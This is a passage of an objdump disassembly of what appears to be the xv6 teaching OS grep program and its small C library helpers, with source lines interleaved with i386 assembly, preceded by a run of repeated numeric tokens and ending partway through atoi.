34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
_grep: 檔案格式 elf32-i386
Disassembly of section .text:
00000000 <main>:
}
}
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: 83 ec 18 sub $0x18,%esp
14: 8b 01 mov (%ecx),%eax
16: 8b 59 04 mov 0x4(%ecx),%ebx
int fd, i;
char *pattern;
if(argc <= 1){
19: 83 f8 01 cmp $0x1,%eax
}
}
int
main(int argc, char *argv[])
{
1c: 89 45 e4 mov %eax,-0x1c(%ebp)
int fd, i;
char *pattern;
if(argc <= 1){
1f: 7e 76 jle 97 <main+0x97>
printf(2, "usage: grep pattern [file ...]\n");
exit();
}
pattern = argv[1];
21: 8b 43 04 mov 0x4(%ebx),%eax
24: 83 c3 08 add $0x8,%ebx
if(argc <= 2){
27: 83 7d e4 02 cmpl $0x2,-0x1c(%ebp)
2b: be 02 00 00 00 mov $0x2,%esi
if(argc <= 1){
printf(2, "usage: grep pattern [file ...]\n");
exit();
}
pattern = argv[1];
30: 89 45 e0 mov %eax,-0x20(%ebp)
if(argc <= 2){
33: 74 53 je 88 <main+0x88>
35: 8d 76 00 lea 0x0(%esi),%esi
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
38: 83 ec 08 sub $0x8,%esp
3b: 6a 00 push $0x0
3d: ff 33 pushl (%ebx)
3f: e8 5e 05 00 00 call 5a2 <open>
44: 83 c4 10 add $0x10,%esp
47: 85 c0 test %eax,%eax
49: 89 c7 mov %eax,%edi
4b: 78 27 js 74 <main+0x74>
printf(1, "grep: cannot open %s\n", argv[i]);
exit();
}
grep(pattern, fd);
4d: 83 ec 08 sub $0x8,%esp
if(argc <= 2){
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
50: 83 c6 01 add $0x1,%esi
53: 83 c3 04 add $0x4,%ebx
if((fd = open(argv[i], 0)) < 0){
printf(1, "grep: cannot open %s\n", argv[i]);
exit();
}
grep(pattern, fd);
56: 50 push %eax
57: ff 75 e0 pushl -0x20(%ebp)
5a: e8 c1 01 00 00 call 220 <grep>
close(fd);
5f: 89 3c 24 mov %edi,(%esp)
62: e8 23 05 00 00 call 58a <close>
if(argc <= 2){
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
67: 83 c4 10 add $0x10,%esp
6a: 39 75 e4 cmp %esi,-0x1c(%ebp)
6d: 7f c9 jg 38 <main+0x38>
exit();
}
grep(pattern, fd);
close(fd);
}
exit();
6f: e8 ee 04 00 00 call 562 <exit>
exit();
}
for(i = 2; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
printf(1, "grep: cannot open %s\n", argv[i]);
74: 50 push %eax
75: ff 33 pushl (%ebx)
77: 68 f0 09 00 00 push $0x9f0
7c: 6a 01 push $0x1
7e: e8 2d 06 00 00 call 6b0 <printf>
exit();
83: e8 da 04 00 00 call 562 <exit>
exit();
}
pattern = argv[1];
if(argc <= 2){
grep(pattern, 0);
88: 52 push %edx
89: 52 push %edx
8a: 6a 00 push $0x0
8c: 50 push %eax
8d: e8 8e 01 00 00 call 220 <grep>
exit();
92: e8 cb 04 00 00 call 562 <exit>
{
int fd, i;
char *pattern;
if(argc <= 1){
printf(2, "usage: grep pattern [file ...]\n");
97: 51 push %ecx
98: 51 push %ecx
99: 68 d0 09 00 00 push $0x9d0
9e: 6a 02 push $0x2
a0: e8 0b 06 00 00 call 6b0 <printf>
exit();
a5: e8 b8 04 00 00 call 562 <exit>
aa: 66 90 xchg %ax,%ax
ac: 66 90 xchg %ax,%ax
ae: 66 90 xchg %ax,%ax
000000b0 <matchstar>:
return 0;
}
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
b0: 55 push %ebp
b1: 89 e5 mov %esp,%ebp
b3: 57 push %edi
b4: 56 push %esi
b5: 53 push %ebx
b6: 83 ec 0c sub $0xc,%esp
b9: 8b 75 08 mov 0x8(%ebp),%esi
bc: 8b 7d 0c mov 0xc(%ebp),%edi
bf: 8b 5d 10 mov 0x10(%ebp),%ebx
c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{ // a * matches zero or more instances
if(matchhere(re, text))
c8: 83 ec 08 sub $0x8,%esp
cb: 53 push %ebx
cc: 57 push %edi
cd: e8 3e 00 00 00 call 110 <matchhere>
d2: 83 c4 10 add $0x10,%esp
d5: 85 c0 test %eax,%eax
d7: 75 1f jne f8 <matchstar+0x48>
return 1;
}while(*text!='\0' && (*text++==c || c=='.'));
d9: 0f be 13 movsbl (%ebx),%edx
dc: 84 d2 test %dl,%dl
de: 74 0c je ec <matchstar+0x3c>
e0: 83 c3 01 add $0x1,%ebx
e3: 83 fe 2e cmp $0x2e,%esi
e6: 74 e0 je c8 <matchstar+0x18>
e8: 39 f2 cmp %esi,%edx
ea: 74 dc je c8 <matchstar+0x18>
return 0;
}
ec: 8d 65 f4 lea -0xc(%ebp),%esp
ef: 5b pop %ebx
f0: 5e pop %esi
f1: 5f pop %edi
f2: 5d pop %ebp
f3: c3 ret
f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
f8: 8d 65 f4 lea -0xc(%ebp),%esp
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
do{ // a * matches zero or more instances
if(matchhere(re, text))
return 1;
fb: b8 01 00 00 00 mov $0x1,%eax
}while(*text!='\0' && (*text++==c || c=='.'));
return 0;
}
100: 5b pop %ebx
101: 5e pop %esi
102: 5f pop %edi
103: 5d pop %ebp
104: c3 ret
105: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000110 <matchhere>:
return 0;
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
113: 57 push %edi
114: 56 push %esi
115: 53 push %ebx
116: 83 ec 0c sub $0xc,%esp
119: 8b 45 08 mov 0x8(%ebp),%eax
11c: 8b 7d 0c mov 0xc(%ebp),%edi
if(re[0] == '\0')
11f: 0f b6 18 movzbl (%eax),%ebx
122: 84 db test %bl,%bl
124: 74 63 je 189 <matchhere+0x79>
return 1;
if(re[1] == '*')
126: 0f be 50 01 movsbl 0x1(%eax),%edx
12a: 80 fa 2a cmp $0x2a,%dl
12d: 74 7b je 1aa <matchhere+0x9a>
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
12f: 80 fb 24 cmp $0x24,%bl
132: 75 08 jne 13c <matchhere+0x2c>
134: 84 d2 test %dl,%dl
136: 0f 84 8a 00 00 00 je 1c6 <matchhere+0xb6>
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
13c: 0f b6 37 movzbl (%edi),%esi
13f: 89 f1 mov %esi,%ecx
141: 84 c9 test %cl,%cl
143: 74 5b je 1a0 <matchhere+0x90>
145: 38 cb cmp %cl,%bl
147: 74 05 je 14e <matchhere+0x3e>
149: 80 fb 2e cmp $0x2e,%bl
14c: 75 52 jne 1a0 <matchhere+0x90>
return matchhere(re+1, text+1);
14e: 83 c7 01 add $0x1,%edi
151: 83 c0 01 add $0x1,%eax
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
154: 84 d2 test %dl,%dl
156: 74 31 je 189 <matchhere+0x79>
return 1;
if(re[1] == '*')
158: 0f b6 58 01 movzbl 0x1(%eax),%ebx
15c: 80 fb 2a cmp $0x2a,%bl
15f: 74 4c je 1ad <matchhere+0x9d>
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
161: 80 fa 24 cmp $0x24,%dl
164: 75 04 jne 16a <matchhere+0x5a>
166: 84 db test %bl,%bl
168: 74 5c je 1c6 <matchhere+0xb6>
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
16a: 0f b6 37 movzbl (%edi),%esi
16d: 89 f1 mov %esi,%ecx
16f: 84 c9 test %cl,%cl
171: 74 2d je 1a0 <matchhere+0x90>
173: 80 fa 2e cmp $0x2e,%dl
176: 74 04 je 17c <matchhere+0x6c>
178: 38 d1 cmp %dl,%cl
17a: 75 24 jne 1a0 <matchhere+0x90>
17c: 0f be d3 movsbl %bl,%edx
return matchhere(re+1, text+1);
17f: 83 c7 01 add $0x1,%edi
182: 83 c0 01 add $0x1,%eax
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
185: 84 d2 test %dl,%dl
187: 75 cf jne 158 <matchhere+0x48>
return 1;
189: b8 01 00 00 00 mov $0x1,%eax
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
return 0;
}
18e: 8d 65 f4 lea -0xc(%ebp),%esp
191: 5b pop %ebx
192: 5e pop %esi
193: 5f pop %edi
194: 5d pop %ebp
195: c3 ret
196: 8d 76 00 lea 0x0(%esi),%esi
199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
1a0: 8d 65 f4 lea -0xc(%ebp),%esp
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
return 0;
1a3: 31 c0 xor %eax,%eax
}
1a5: 5b pop %ebx
1a6: 5e pop %esi
1a7: 5f pop %edi
1a8: 5d pop %ebp
1a9: c3 ret
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
return 1;
if(re[1] == '*')
1aa: 0f be d3 movsbl %bl,%edx
return matchstar(re[0], re+2, text);
1ad: 83 ec 04 sub $0x4,%esp
1b0: 83 c0 02 add $0x2,%eax
1b3: 57 push %edi
1b4: 50 push %eax
1b5: 52 push %edx
1b6: e8 f5 fe ff ff call b0 <matchstar>
1bb: 83 c4 10 add $0x10,%esp
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
return 0;
}
1be: 8d 65 f4 lea -0xc(%ebp),%esp
1c1: 5b pop %ebx
1c2: 5e pop %esi
1c3: 5f pop %edi
1c4: 5d pop %ebp
1c5: c3 ret
if(re[0] == '\0')
return 1;
if(re[1] == '*')
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
1c6: 31 c0 xor %eax,%eax
1c8: 80 3f 00 cmpb $0x0,(%edi)
1cb: 0f 94 c0 sete %al
1ce: eb be jmp 18e <matchhere+0x7e>
000001d0 <match>:
int matchhere(char*, char*);
int matchstar(int, char*, char*);
int
match(char *re, char *text)
{
1d0: 55 push %ebp
1d1: 89 e5 mov %esp,%ebp
1d3: 56 push %esi
1d4: 53 push %ebx
1d5: 8b 75 08 mov 0x8(%ebp),%esi
1d8: 8b 5d 0c mov 0xc(%ebp),%ebx
if(re[0] == '^')
1db: 80 3e 5e cmpb $0x5e,(%esi)
1de: 75 11 jne 1f1 <match+0x21>
1e0: eb 2c jmp 20e <match+0x3e>
1e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return matchhere(re+1, text);
do{ // must look at empty string
if(matchhere(re, text))
return 1;
}while(*text++ != '\0');
1e8: 83 c3 01 add $0x1,%ebx
1eb: 80 7b ff 00 cmpb $0x0,-0x1(%ebx)
1ef: 74 16 je 207 <match+0x37>
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
do{ // must look at empty string
if(matchhere(re, text))
1f1: 83 ec 08 sub $0x8,%esp
1f4: 53 push %ebx
1f5: 56 push %esi
1f6: e8 15 ff ff ff call 110 <matchhere>
1fb: 83 c4 10 add $0x10,%esp
1fe: 85 c0 test %eax,%eax
200: 74 e6 je 1e8 <match+0x18>
return 1;
202: b8 01 00 00 00 mov $0x1,%eax
}while(*text++ != '\0');
return 0;
}
207: 8d 65 f8 lea -0x8(%ebp),%esp
20a: 5b pop %ebx
20b: 5e pop %esi
20c: 5d pop %ebp
20d: c3 ret
int
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
20e: 83 c6 01 add $0x1,%esi
211: 89 75 08 mov %esi,0x8(%ebp)
do{ // must look at empty string
if(matchhere(re, text))
return 1;
}while(*text++ != '\0');
return 0;
}
214: 8d 65 f8 lea -0x8(%ebp),%esp
217: 5b pop %ebx
218: 5e pop %esi
219: 5d pop %ebp
int
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
21a: e9 f1 fe ff ff jmp 110 <matchhere>
21f: 90 nop
00000220 <grep>:
char buf[1024];
int match(char*, char*);
void
grep(char *pattern, int fd)
{
220: 55 push %ebp
221: 89 e5 mov %esp,%ebp
223: 57 push %edi
224: 56 push %esi
225: 53 push %ebx
226: 83 ec 1c sub $0x1c,%esp
229: 8b 75 08 mov 0x8(%ebp),%esi
int n, m;
char *p, *q;
m = 0;
22c: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
233: 90 nop
234: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
238: 8b 4d e4 mov -0x1c(%ebp),%ecx
23b: b8 ff 03 00 00 mov $0x3ff,%eax
240: 83 ec 04 sub $0x4,%esp
243: 29 c8 sub %ecx,%eax
245: 50 push %eax
246: 8d 81 c0 0d 00 00 lea 0xdc0(%ecx),%eax
24c: 50 push %eax
24d: ff 75 0c pushl 0xc(%ebp)
250: e8 25 03 00 00 call 57a <read>
255: 83 c4 10 add $0x10,%esp
258: 85 c0 test %eax,%eax
25a: 0f 8e ac 00 00 00 jle 30c <grep+0xec>
m += n;
260: 01 45 e4 add %eax,-0x1c(%ebp)
buf[m] = '\0';
p = buf;
263: bb c0 0d 00 00 mov $0xdc0,%ebx
int n, m;
char *p, *q;
m = 0;
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
m += n;
268: 8b 55 e4 mov -0x1c(%ebp),%edx
buf[m] = '\0';
26b: c6 82 c0 0d 00 00 00 movb $0x0,0xdc0(%edx)
272: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
p = buf;
while((q = strchr(p, '\n')) != 0){
278: 83 ec 08 sub $0x8,%esp
27b: 6a 0a push $0xa
27d: 53 push %ebx
27e: e8 6d 01 00 00 call 3f0 <strchr>
283: 83 c4 10 add $0x10,%esp
286: 85 c0 test %eax,%eax
288: 89 c7 mov %eax,%edi
28a: 74 3c je 2c8 <grep+0xa8>
*q = 0;
if(match(pattern, p)){
28c: 83 ec 08 sub $0x8,%esp
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
m += n;
buf[m] = '\0';
p = buf;
while((q = strchr(p, '\n')) != 0){
*q = 0;
28f: c6 07 00 movb $0x0,(%edi)
if(match(pattern, p)){
292: 53 push %ebx
293: 56 push %esi
294: e8 37 ff ff ff call 1d0 <match>
299: 83 c4 10 add $0x10,%esp
29c: 85 c0 test %eax,%eax
29e: 75 08 jne 2a8 <grep+0x88>
2a0: 8d 5f 01 lea 0x1(%edi),%ebx
2a3: eb d3 jmp 278 <grep+0x58>
2a5: 8d 76 00 lea 0x0(%esi),%esi
*q = '\n';
2a8: c6 07 0a movb $0xa,(%edi)
write(1, p, q+1 - p);
2ab: 83 c7 01 add $0x1,%edi
2ae: 83 ec 04 sub $0x4,%esp
2b1: 89 f8 mov %edi,%eax
2b3: 29 d8 sub %ebx,%eax
2b5: 50 push %eax
2b6: 53 push %ebx
2b7: 89 fb mov %edi,%ebx
2b9: 6a 01 push $0x1
2bb: e8 c2 02 00 00 call 582 <write>
2c0: 83 c4 10 add $0x10,%esp
2c3: eb b3 jmp 278 <grep+0x58>
2c5: 8d 76 00 lea 0x0(%esi),%esi
}
p = q+1;
}
if(p == buf)
2c8: 81 fb c0 0d 00 00 cmp $0xdc0,%ebx
2ce: 74 30 je 300 <grep+0xe0>
m = 0;
if(m > 0){
2d0: 8b 45 e4 mov -0x1c(%ebp),%eax
2d3: 85 c0 test %eax,%eax
2d5: 0f 8e 5d ff ff ff jle 238 <grep+0x18>
m -= p - buf;
2db: 89 d8 mov %ebx,%eax
memmove(buf, p, m);
2dd: 83 ec 04 sub $0x4,%esp
p = q+1;
}
if(p == buf)
m = 0;
if(m > 0){
m -= p - buf;
2e0: 2d c0 0d 00 00 sub $0xdc0,%eax
2e5: 29 45 e4 sub %eax,-0x1c(%ebp)
2e8: 8b 4d e4 mov -0x1c(%ebp),%ecx
memmove(buf, p, m);
2eb: 51 push %ecx
2ec: 53 push %ebx
2ed: 68 c0 0d 00 00 push $0xdc0
2f2: e8 39 02 00 00 call 530 <memmove>
2f7: 83 c4 10 add $0x10,%esp
2fa: e9 39 ff ff ff jmp 238 <grep+0x18>
2ff: 90 nop
write(1, p, q+1 - p);
}
p = q+1;
}
if(p == buf)
m = 0;
300: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
307: e9 2c ff ff ff jmp 238 <grep+0x18>
if(m > 0){
m -= p - buf;
memmove(buf, p, m);
}
}
}
30c: 8d 65 f4 lea -0xc(%ebp),%esp
30f: 5b pop %ebx
310: 5e pop %esi
311: 5f pop %edi
312: 5d pop %ebp
313: c3 ret
314: 66 90 xchg %ax,%ax
316: 66 90 xchg %ax,%ax
318: 66 90 xchg %ax,%ax
31a: 66 90 xchg %ax,%ax
31c: 66 90 xchg %ax,%ax
31e: 66 90 xchg %ax,%ax
00000320 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
320: 55 push %ebp
321: 89 e5 mov %esp,%ebp
323: 53 push %ebx
324: 8b 45 08 mov 0x8(%ebp),%eax
327: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
32a: 89 c2 mov %eax,%edx
32c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
330: 83 c1 01 add $0x1,%ecx
333: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
337: 83 c2 01 add $0x1,%edx
33a: 84 db test %bl,%bl
33c: 88 5a ff mov %bl,-0x1(%edx)
33f: 75 ef jne 330 <strcpy+0x10>
;
return os;
}
341: 5b pop %ebx
342: 5d pop %ebp
343: c3 ret
344: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
34a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000350 <strcmp>:
int
strcmp(const char *p, const char *q)
{
350: 55 push %ebp
351: 89 e5 mov %esp,%ebp
353: 56 push %esi
354: 53 push %ebx
355: 8b 55 08 mov 0x8(%ebp),%edx
358: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
35b: 0f b6 02 movzbl (%edx),%eax
35e: 0f b6 19 movzbl (%ecx),%ebx
361: 84 c0 test %al,%al
363: 75 1e jne 383 <strcmp+0x33>
365: eb 29 jmp 390 <strcmp+0x40>
367: 89 f6 mov %esi,%esi
369: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
370: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
373: 0f b6 02 movzbl (%edx),%eax
p++, q++;
376: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
379: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
37d: 84 c0 test %al,%al
37f: 74 0f je 390 <strcmp+0x40>
381: 89 f1 mov %esi,%ecx
383: 38 d8 cmp %bl,%al
385: 74 e9 je 370 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
387: 29 d8 sub %ebx,%eax
}
389: 5b pop %ebx
38a: 5e pop %esi
38b: 5d pop %ebp
38c: c3 ret
38d: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
390: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
392: 29 d8 sub %ebx,%eax
}
394: 5b pop %ebx
395: 5e pop %esi
396: 5d pop %ebp
397: c3 ret
398: 90 nop
399: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000003a0 <strlen>:
uint
strlen(const char *s)
{
3a0: 55 push %ebp
3a1: 89 e5 mov %esp,%ebp
3a3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
3a6: 80 39 00 cmpb $0x0,(%ecx)
3a9: 74 12 je 3bd <strlen+0x1d>
3ab: 31 d2 xor %edx,%edx
3ad: 8d 76 00 lea 0x0(%esi),%esi
3b0: 83 c2 01 add $0x1,%edx
3b3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
3b7: 89 d0 mov %edx,%eax
3b9: 75 f5 jne 3b0 <strlen+0x10>
;
return n;
}
3bb: 5d pop %ebp
3bc: c3 ret
uint
strlen(const char *s)
{
int n;
for(n = 0; s[n]; n++)
3bd: 31 c0 xor %eax,%eax
;
return n;
}
3bf: 5d pop %ebp
3c0: c3 ret
3c1: eb 0d jmp 3d0 <memset>
3c3: 90 nop
3c4: 90 nop
3c5: 90 nop
3c6: 90 nop
3c7: 90 nop
3c8: 90 nop
3c9: 90 nop
3ca: 90 nop
3cb: 90 nop
3cc: 90 nop
3cd: 90 nop
3ce: 90 nop
3cf: 90 nop
000003d0 <memset>:
void*
memset(void *dst, int c, uint n)
{
3d0: 55 push %ebp
3d1: 89 e5 mov %esp,%ebp
3d3: 57 push %edi
3d4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
3d7: 8b 4d 10 mov 0x10(%ebp),%ecx
3da: 8b 45 0c mov 0xc(%ebp),%eax
3dd: 89 d7 mov %edx,%edi
3df: fc cld
3e0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
3e2: 89 d0 mov %edx,%eax
3e4: 5f pop %edi
3e5: 5d pop %ebp
3e6: c3 ret
3e7: 89 f6 mov %esi,%esi
3e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003f0 <strchr>:
char*
strchr(const char *s, char c)
{
3f0: 55 push %ebp
3f1: 89 e5 mov %esp,%ebp
3f3: 53 push %ebx
3f4: 8b 45 08 mov 0x8(%ebp),%eax
3f7: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
3fa: 0f b6 10 movzbl (%eax),%edx
3fd: 84 d2 test %dl,%dl
3ff: 74 1d je 41e <strchr+0x2e>
if(*s == c)
401: 38 d3 cmp %dl,%bl
403: 89 d9 mov %ebx,%ecx
405: 75 0d jne 414 <strchr+0x24>
407: eb 17 jmp 420 <strchr+0x30>
409: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
410: 38 ca cmp %cl,%dl
412: 74 0c je 420 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
414: 83 c0 01 add $0x1,%eax
417: 0f b6 10 movzbl (%eax),%edx
41a: 84 d2 test %dl,%dl
41c: 75 f2 jne 410 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
41e: 31 c0 xor %eax,%eax
}
420: 5b pop %ebx
421: 5d pop %ebp
422: c3 ret
423: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000430 <gets>:
char*
gets(char *buf, int max)
{
430: 55 push %ebp
431: 89 e5 mov %esp,%ebp
433: 57 push %edi
434: 56 push %esi
435: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
436: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
438: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
43b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
43e: eb 29 jmp 469 <gets+0x39>
cc = read(0, &c, 1);
440: 83 ec 04 sub $0x4,%esp
443: 6a 01 push $0x1
445: 57 push %edi
446: 6a 00 push $0x0
448: e8 2d 01 00 00 call 57a <read>
if(cc < 1)
44d: 83 c4 10 add $0x10,%esp
450: 85 c0 test %eax,%eax
452: 7e 1d jle 471 <gets+0x41>
break;
buf[i++] = c;
454: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
458: 8b 55 08 mov 0x8(%ebp),%edx
45b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
45d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
45f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
463: 74 1b je 480 <gets+0x50>
465: 3c 0d cmp $0xd,%al
467: 74 17 je 480 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
469: 8d 5e 01 lea 0x1(%esi),%ebx
46c: 3b 5d 0c cmp 0xc(%ebp),%ebx
46f: 7c cf jl 440 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
471: 8b 45 08 mov 0x8(%ebp),%eax
474: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
478: 8d 65 f4 lea -0xc(%ebp),%esp
47b: 5b pop %ebx
47c: 5e pop %esi
47d: 5f pop %edi
47e: 5d pop %ebp
47f: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
480: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
483: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
485: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
489: 8d 65 f4 lea -0xc(%ebp),%esp
48c: 5b pop %ebx
48d: 5e pop %esi
48e: 5f pop %edi
48f: 5d pop %ebp
490: c3 ret
491: eb 0d jmp 4a0 <stat>
493: 90 nop
494: 90 nop
495: 90 nop
496: 90 nop
497: 90 nop
498: 90 nop
499: 90 nop
49a: 90 nop
49b: 90 nop
49c: 90 nop
49d: 90 nop
49e: 90 nop
49f: 90 nop
000004a0 <stat>:
int
stat(const char *n, struct stat *st)
{
4a0: 55 push %ebp
4a1: 89 e5 mov %esp,%ebp
4a3: 56 push %esi
4a4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
4a5: 83 ec 08 sub $0x8,%esp
4a8: 6a 00 push $0x0
4aa: ff 75 08 pushl 0x8(%ebp)
4ad: e8 f0 00 00 00 call 5a2 <open>
if(fd < 0)
4b2: 83 c4 10 add $0x10,%esp
4b5: 85 c0 test %eax,%eax
4b7: 78 27 js 4e0 <stat+0x40>
return -1;
r = fstat(fd, st);
4b9: 83 ec 08 sub $0x8,%esp
4bc: ff 75 0c pushl 0xc(%ebp)
4bf: 89 c3 mov %eax,%ebx
4c1: 50 push %eax
4c2: e8 f3 00 00 00 call 5ba <fstat>
4c7: 89 c6 mov %eax,%esi
close(fd);
4c9: 89 1c 24 mov %ebx,(%esp)
4cc: e8 b9 00 00 00 call 58a <close>
return r;
4d1: 83 c4 10 add $0x10,%esp
4d4: 89 f0 mov %esi,%eax
}
4d6: 8d 65 f8 lea -0x8(%ebp),%esp
4d9: 5b pop %ebx
4da: 5e pop %esi
4db: 5d pop %ebp
4dc: c3 ret
4dd: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
4e0: b8 ff ff ff ff mov $0xffffffff,%eax
4e5: eb ef jmp 4d6 <stat+0x36>
4e7: 89 f6 mov %esi,%esi
4e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000004f0 <atoi>:
return r;
}
int
atoi(const char *s)
{
4f0: 55 push %ebp
4f1: 89 e5 mov %esp,%ebp
4f3: 53 push %ebx
4f4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
